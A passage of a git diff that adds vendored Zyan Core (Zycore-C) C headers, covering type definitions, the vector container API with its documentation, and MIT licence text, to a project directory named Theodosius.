`ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringShrinkToFit(ZyanString* string); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current capacity of the string. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity Receives the size of the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetCapacity(const ZyanString* string, ZyanUSize* capacity); + +/** + * Returns the current size (number of characters) of the string (excluding the + * terminating zero character). + * + * @param string A pointer to the `ZyanString` instance. + * @param size Receives the size (number of characters) of the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetSize(const ZyanString* string, ZyanUSize* size); + +/** + * Returns the C-style string of the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param value Receives a pointer to the C-style string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetData(const ZyanString* string, const char** value); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYCORE_STRING_H diff --git a/Theodosius/Zycore/Types.h b/Theodosius/Zycore/Types.h new file mode 100644 index 0000000..74fe905 --- /dev/null +++ b/Theodosius/Zycore/Types.h @@ -0,0 +1,195 @@ +/*************************************************************************************************** + + Zyan Core Library (Zyan-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Includes and defines some default data types. + */ + +#ifndef ZYCORE_TYPES_H +#define ZYCORE_TYPES_H + +#include + +/* ============================================================================================== */ +/* Integer types */ +/* ============================================================================================== */ + +#if defined(ZYAN_NO_LIBC) || \ + (defined(ZYAN_MSVC) && defined(ZYAN_KERNEL)) // The WDK LibC lacks stdint.h. + // No LibC mode, use compiler built-in types / macros. +# if defined(ZYAN_MSVC) || defined(ZYAN_ICC) + typedef unsigned __int8 ZyanU8; + typedef unsigned __int16 ZyanU16; + typedef unsigned __int32 ZyanU32; + typedef unsigned __int64 ZyanU64; + typedef signed __int8 ZyanI8; + typedef signed __int16 ZyanI16; + typedef signed __int32 ZyanI32; + typedef signed __int64 ZyanI64; +# if _WIN64 + typedef ZyanU64 ZyanUSize; + typedef ZyanI64 ZyanISize; + typedef ZyanU64 ZyanUPointer; + typedef ZyanI64 ZyanIPointer; +# else + typedef ZyanU32 ZyanUSize; + typedef ZyanI32 ZyanISize; + typedef ZyanU32 ZyanUPointer; + typedef ZyanI32 ZyanIPointer; +# endif +# elif defined(ZYAN_GNUC) + typedef __UINT8_TYPE__ ZyanU8; + typedef __UINT16_TYPE__ ZyanU16; + typedef __UINT32_TYPE__ ZyanU32; + typedef __UINT64_TYPE__ ZyanU64; + typedef __INT8_TYPE__ ZyanI8; + typedef __INT16_TYPE__ ZyanI16; + typedef __INT32_TYPE__ ZyanI32; + typedef __INT64_TYPE__ ZyanI64; + typedef __SIZE_TYPE__ ZyanUSize; + typedef __PTRDIFF_TYPE__ ZyanISize; + typedef __UINTPTR_TYPE__ ZyanUPointer; + typedef __INTPTR_TYPE__ ZyanIPointer; +# else +# error "Unsupported compiler for no-libc mode." +# endif +#else + // If is LibC present, we use stdint types. +# include +# include + typedef uint8_t ZyanU8; + typedef uint16_t ZyanU16; + typedef uint32_t ZyanU32; + typedef uint64_t ZyanU64; + typedef int8_t ZyanI8; + typedef int16_t ZyanI16; + typedef int32_t ZyanI32; + typedef int64_t ZyanI64; + typedef size_t ZyanUSize; + typedef ptrdiff_t ZyanISize; + typedef uintptr_t ZyanUPointer; + typedef intptr_t ZyanIPointer; +#endif + +// Verify size assumptions. +ZYAN_STATIC_ASSERT(sizeof(ZyanU8 ) == 1 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanU16 ) == 2 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanU32 ) == 4 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanU64 ) == 8 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI8 ) == 1 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI16 ) == 2 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI32 ) == 4 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanI64 ) == 8 ); +ZYAN_STATIC_ASSERT(sizeof(ZyanUSize ) == sizeof(void*)); // TODO: This one is incorrect! +ZYAN_STATIC_ASSERT(sizeof(ZyanISize ) == sizeof(void*)); // TODO: This one is incorrect! +ZYAN_STATIC_ASSERT(sizeof(ZyanUPointer) == sizeof(void*)); +ZYAN_STATIC_ASSERT(sizeof(ZyanIPointer) == sizeof(void*)); + +// Verify signedness assumptions (relies on size checks above). +ZYAN_STATIC_ASSERT((ZyanI8 )-1 >> 1 < (ZyanI8 )((ZyanU8 )-1 >> 1)); +ZYAN_STATIC_ASSERT((ZyanI16)-1 >> 1 < (ZyanI16)((ZyanU16)-1 >> 1)); +ZYAN_STATIC_ASSERT((ZyanI32)-1 >> 1 < (ZyanI32)((ZyanU32)-1 >> 1)); +ZYAN_STATIC_ASSERT((ZyanI64)-1 >> 1 < (ZyanI64)((ZyanU64)-1 >> 1)); + +/* ============================================================================================== */ +/* Pointer */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanVoidPointer` data-type. + */ +typedef char* ZyanVoidPointer; + +/** + * Defines the `ZyanConstVoidPointer` data-type. + */ +typedef const void* ZyanConstVoidPointer; + +#define ZYAN_NULL ((void*)0) + +/* ============================================================================================== */ +/* Logic types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Boolean */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_FALSE 0 +#define ZYAN_TRUE 1 + +/** + * Defines the `ZyanBool` data-type. + * + * Represents a default boolean data-type where `0` is interpreted as `false` and all other values + * as `true`. + */ +typedef ZyanU8 ZyanBool; + +/* ---------------------------------------------------------------------------------------------- */ +/* Ternary */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanTernary` data-type. + * + * The `ZyanTernary` is a balanced ternary type that uses three truth values indicating `true`, + * `false` and an indeterminate third value. + */ +typedef ZyanI8 ZyanTernary; + +#define ZYAN_TERNARY_FALSE (-1) +#define ZYAN_TERNARY_UNKNOWN 0x00 +#define ZYAN_TERNARY_TRUE 0x01 + +/* ============================================================================================== */ +/* String types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* C-style strings */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanCharPointer` data-type. + * + * This type is most often used to represent null-terminated strings aka. C-style strings. + */ +typedef char* ZyanCharPointer; + +/** + * Defines the `ZyanConstCharPointer` data-type. + * + * This type is most often used to represent null-terminated strings aka. C-style strings. + */ +typedef const char* ZyanConstCharPointer; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_TYPES_H */ diff --git a/Theodosius/Zycore/Vector.h b/Theodosius/Zycore/Vector.h new file mode 100644 index 0000000..47e728c --- /dev/null +++ b/Theodosius/Zycore/Vector.h @@ -0,0 +1,723 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the vector container class. + */ + +#ifndef ZYCORE_VECTOR_H +#define ZYCORE_VECTOR_H + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/** + * The initial minimum capacity (number of elements) for all dynamically allocated vector + * instances. + */ +#define ZYAN_VECTOR_MIN_CAPACITY 1 + +/** + * The default growth factor for all vector instances. + */ +#define ZYAN_VECTOR_DEFAULT_GROWTH_FACTOR 2.00f + +/** + * The default shrink threshold for all vector instances. + */ +#define ZYAN_VECTOR_DEFAULT_SHRINK_THRESHOLD 0.25f + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanVector` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanVector_ +{ + /** + * The memory allocator. + */ + ZyanAllocator* allocator; + /** + * The growth factor. + */ + float growth_factor; + /** + * The shrink threshold. + */ + float shrink_threshold; + /** + * The current number of elements in the vector. + */ + ZyanUSize size; + /** + * The maximum capacity (number of elements). + */ + ZyanUSize capacity; + /** + * The size of a single element in bytes. + */ + ZyanUSize element_size; + /** + * The element destructor callback. + */ + ZyanMemberProcedure destructor; + /** + * The data pointer. + */ + void* data; +} ZyanVector; + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines an uninitialized `ZyanVector` instance. + */ +#define ZYAN_VECTOR_INITIALIZER \ + { \ + /* allocator */ ZYAN_NULL, \ + /* growth_factor */ 0.0f, \ + /* shrink_threshold */ 0.0f, \ + /* size */ 0, \ + /* capacity */ 0, \ + /* element_size */ 0, \ + /* destructor */ ZYAN_NULL, \ + /* data */ ZYAN_NULL \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the value of the element at the given `index`. + * + * @param type The desired value type. + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @result The value of the desired element in the vector. + * + * Note that this function is unsafe and might dereference a null-pointer. + */ +#ifdef __cplusplus +#define ZYAN_VECTOR_GET(type, vector, index) \ + (*reinterpret_cast(ZyanVectorGet(vector, index))) +#else +#define ZYAN_VECTOR_GET(type, vector, index) \ + (*(const type*)ZyanVectorGet(vector, index)) +#endif + +/** + * Loops through all elements of the vector. + * + * @param type The desired value type. + * @param vector A pointer to the `ZyanVector` instance. + * @param item_name The name of the iterator item. + * @param body The body to execute for each item in the vector. + */ +#define ZYAN_VECTOR_FOREACH(type, vector, item_name, body) \ + { \ + const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \ + for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \ + ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \ + ++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \ + { \ + const type item_name = ZYAN_VECTOR_GET(type, vector, \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \ + body \ + } \ + } + +/** + * Loops through all elements of the vector. + * + * @param type The desired value type. + * @param vector A pointer to the `ZyanVector` instance. + * @param item_name The name of the iterator item. + * @param body The body to execute for each item in the vector. + */ +#define ZYAN_VECTOR_FOREACH_MUTABLE(type, vector, item_name, body) \ + { \ + const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \ + for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \ + ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \ + ++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \ + { \ + type* const item_name = ZyanVectorGetMutable(vector, \ + ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \ + body \ + } \ + } + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element_size The size of a single element in bytes. + * @param capacity The initial capacity (number of elements). + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * + * @return A zyan status code. + * + * The memory for the vector elements is dynamically allocated by the default allocator using the + * default growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorInit(ZyanVector* vector, + ZyanUSize element_size, ZyanUSize capacity, ZyanMemberProcedure destructor); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanVector` instance and sets a custom `allocator` and memory + * allocation/deallocation parameters. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element_size The size of a single element in bytes. + * @param capacity The initial capacity (number of elements). + * @param destructor A destructor callback that is invoked every time an item is deleted, + * or `ZYAN_NULL` if not needed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInitEx(ZyanVector* vector, ZyanUSize element_size, + ZyanUSize capacity, ZyanMemberProcedure destructor, ZyanAllocator* allocator, + float growth_factor, float shrink_threshold); + +/** + * Initializes the given `ZyanVector` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element_size The size of a single element in bytes. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of elements) of the buffer. + * @param destructor A destructor callback that is invoked every time an item is deleted, or + * `ZYAN_NULL` if not needed. + * + * @return A zyan status code. + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInitCustomBuffer(ZyanVector* vector, ZyanUSize element_size, + void* buffer, ZyanUSize capacity, ZyanMemberProcedure destructor); + +/** + * Destroys the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance.. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDestroy(ZyanVector* vector); + +/* ---------------------------------------------------------------------------------------------- */ +/* Duplication */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanVector` instance by duplicating an existing vector. + * + * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. + * @param source A pointer to the source vector. + * @param capacity The initial capacity (number of elements). + * + * This value is automatically adjusted to the size of the source vector, if + * a smaller value was passed. + * + * @return A zyan status code. + * + * The memory for the vector is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorDuplicate(ZyanVector* destination, + const ZyanVector* source, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanVector` instance by duplicating an existing vector and sets a + * custom `allocator` and memory allocation/deallocation parameters. + * + * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. + * @param source A pointer to the source vector. + * @param capacity The initial capacity (number of elements). + + * This value is automatically adjusted to the size of the source + * vector, if a smaller value was passed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateEx(ZyanVector* destination, const ZyanVector* source, + ZyanUSize capacity, ZyanAllocator* allocator, float growth_factor, float shrink_threshold); + +/** + * Initializes a new `ZyanVector` instance by duplicating an existing vector and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. + * @param source A pointer to the source vector. + * @param buffer A pointer to the buffer that is used as storage for the elements. + * @param capacity The maximum capacity (number of elements) of the buffer. + + * This function will fail, if the capacity of the buffer is less than the + * size of the source vector. + * + * @return A zyan status code. + * + * Finalization is not required for instances created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateCustomBuffer(ZyanVector* destination, + const ZyanVector* source, void* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Element access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a constant pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @return A constant pointer to the desired element in the vector or `ZYAN_NULL`, if an error + * occured. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * Take a look at `ZyanVectorGetPointer` instead, if you need a function that returns a zyan status + * code. + */ +ZYCORE_EXPORT const void* ZyanVectorGet(const ZyanVector* vector, ZyanUSize index); + +/** + * Returns a mutable pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @return A mutable pointer to the desired element in the vector or `ZYAN_NULL`, if an error + * occured. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * Take a look at `ZyanVectorGetPointerMutable` instead, if you need a function that returns a + * zyan status code. + */ +ZYCORE_EXPORT void* ZyanVectorGetMutable(const ZyanVector* vector, ZyanUSize index); + +/** + * Returns a constant pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * @param value Receives a constant pointer to the desired element in the vector. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointer(const ZyanVector* vector, ZyanUSize index, + const void** value); + +/** + * Returns a mutable pointer to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * @param value Receives a mutable pointer to the desired element in the vector. + * + * Note that the returned pointer might get invalid when the vector is resized by either a manual + * call to the memory-management functions or implicitly by inserting or removing elements. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointerMutable(const ZyanVector* vector, ZyanUSize index, + void** value); + +/** + * Assigns a new value to the element at the given `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The value index. + * @param value The value to assign. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorSet(ZyanVector* vector, ZyanUSize index, + const void* value); + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Adds a new `element` to the end of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to add. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorPushBack(ZyanVector* vector, const void* element); + +/** + * Inserts an `element` at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The insert index. + * @param element A pointer to the element to insert. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInsert(ZyanVector* vector, ZyanUSize index, + const void* element); + +/** + * Inserts multiple `elements` at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The insert index. + * @param elements A pointer to the first element. + * @param count The number of elements to insert. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorInsertRange(ZyanVector* vector, ZyanUSize index, + const void* elements, ZyanUSize count); + +/** + * Constructs an `element` in-place at the end of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element Receives a pointer to the new element. + * @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorEmplace(ZyanVector* vector, void** element, + ZyanMemberFunction constructor); + +/** + * Constructs an `element` in-place and inserts it at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The insert index. + * @param element Receives a pointer to the new element. + * @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in + * undefined state, if no constructor was passed. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorEmplaceEx(ZyanVector* vector, ZyanUSize index, + void** element, ZyanMemberFunction constructor); + +/* ---------------------------------------------------------------------------------------------- */ +/* Utils */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Swaps the element at `index_first` with the element at `index_second`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index_first The index of the first element. + * @param index_second The index of the second element. + * + * @return A zyan status code. + * + * This function requires the vector to have spare capacity for one temporary element. Call + * `ZyanVectorReserve` before this function to increase capacity, if needed. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorSwapElements(ZyanVector* vector, ZyanUSize index_first, + ZyanUSize index_second); + +/* ---------------------------------------------------------------------------------------------- */ +/* Deletion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Deletes the element at the given `index` of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The element index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDelete(ZyanVector* vector, ZyanUSize index); + +/** + * Deletes multiple elements from the given vector, starting at `index`. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param index The index of the first element to delete. + * @param count The number of elements to delete. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorDeleteRange(ZyanVector* vector, ZyanUSize index, + ZyanUSize count); + +/** + * Removes the last element of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorPopBack(ZyanVector* vector); + +/** + * Erases all elements of the given vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorClear(ZyanVector* vector); + +/* ---------------------------------------------------------------------------------------------- */ +/* Searching */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Sequentially searches for the first occurrence of `element` in the given vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * The `found_index` is set to `-1`, if the element was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorFind(const ZyanVector* vector, const void* element, + ZyanISize* found_index, ZyanEqualityComparison comparison); + +/** + * Sequentially searches for the first occurrence of `element` in the given vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * @param index The start index. + * @param count The maximum number of elements to iterate, beginning from the start `index`. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * The `found_index` is set to `-1`, if the element was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorFindEx(const ZyanVector* vector, const void* element, + ZyanISize* found_index, ZyanEqualityComparison comparison, ZyanUSize index, ZyanUSize count); + +/** + * Searches for the first occurrence of `element` in the given vector using a binary- + * search algorithm. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * If found, `found_index` contains the zero-based index of `element`. If not found, `found_index` + * contains the index of the first entry larger than `element`. + * + * This function requires all elements in the vector to be strictly ordered (sorted). + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearch(const ZyanVector* vector, const void* element, + ZyanUSize* found_index, ZyanComparison comparison); + +/** + * Searches for the first occurrence of `element` in the given vector using a binary- + * search algorithm. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param element A pointer to the element to search for. + * @param found_index A pointer to a variable that receives the index of the found element. + * @param comparison The comparison function to use. + * @param index The start index. + * @param count The maximum number of elements to iterate, beginning from the start `index`. + * + * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic + * zyan status code if an error occured. + * + * If found, `found_index` contains the zero-based index of `element`. If not found, `found_index` + * contains the index of the first entry larger than `element`. + * + * This function requires all elements in the vector to be strictly ordered (sorted). + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearchEx(const ZyanVector* vector, const void* element, + ZyanUSize* found_index, ZyanComparison comparison, ZyanUSize index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Resizes the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param size The new size of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorResize(ZyanVector* vector, ZyanUSize size); + +/** + * Resizes the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param size The new size of the vector. + * @param initializer A pointer to a value to be used as initializer for new items. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorResizeEx(ZyanVector* vector, ZyanUSize size, + const void* initializer); + +/** + * Changes the capacity of the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param capacity The new minimum capacity of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorReserve(ZyanVector* vector, ZyanUSize capacity); + +/** + * Shrinks the capacity of the given vector to match it's size. + * + * @param vector A pointer to the `ZyanVector` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorShrinkToFit(ZyanVector* vector); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current capacity of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param capacity Receives the size of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetCapacity(const ZyanVector* vector, ZyanUSize* capacity); + +/** + * Returns the current size of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param size Receives the size of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetSize(const ZyanVector* vector, ZyanUSize* size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_VECTOR_H */ diff --git a/Theodosius/Zycore/Zycore.h b/Theodosius/Zycore/Zycore.h new file mode 100644 index 0000000..e136acf --- /dev/null +++ b/Theodosius/Zycore/Zycore.h @@ -0,0 +1,111 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED 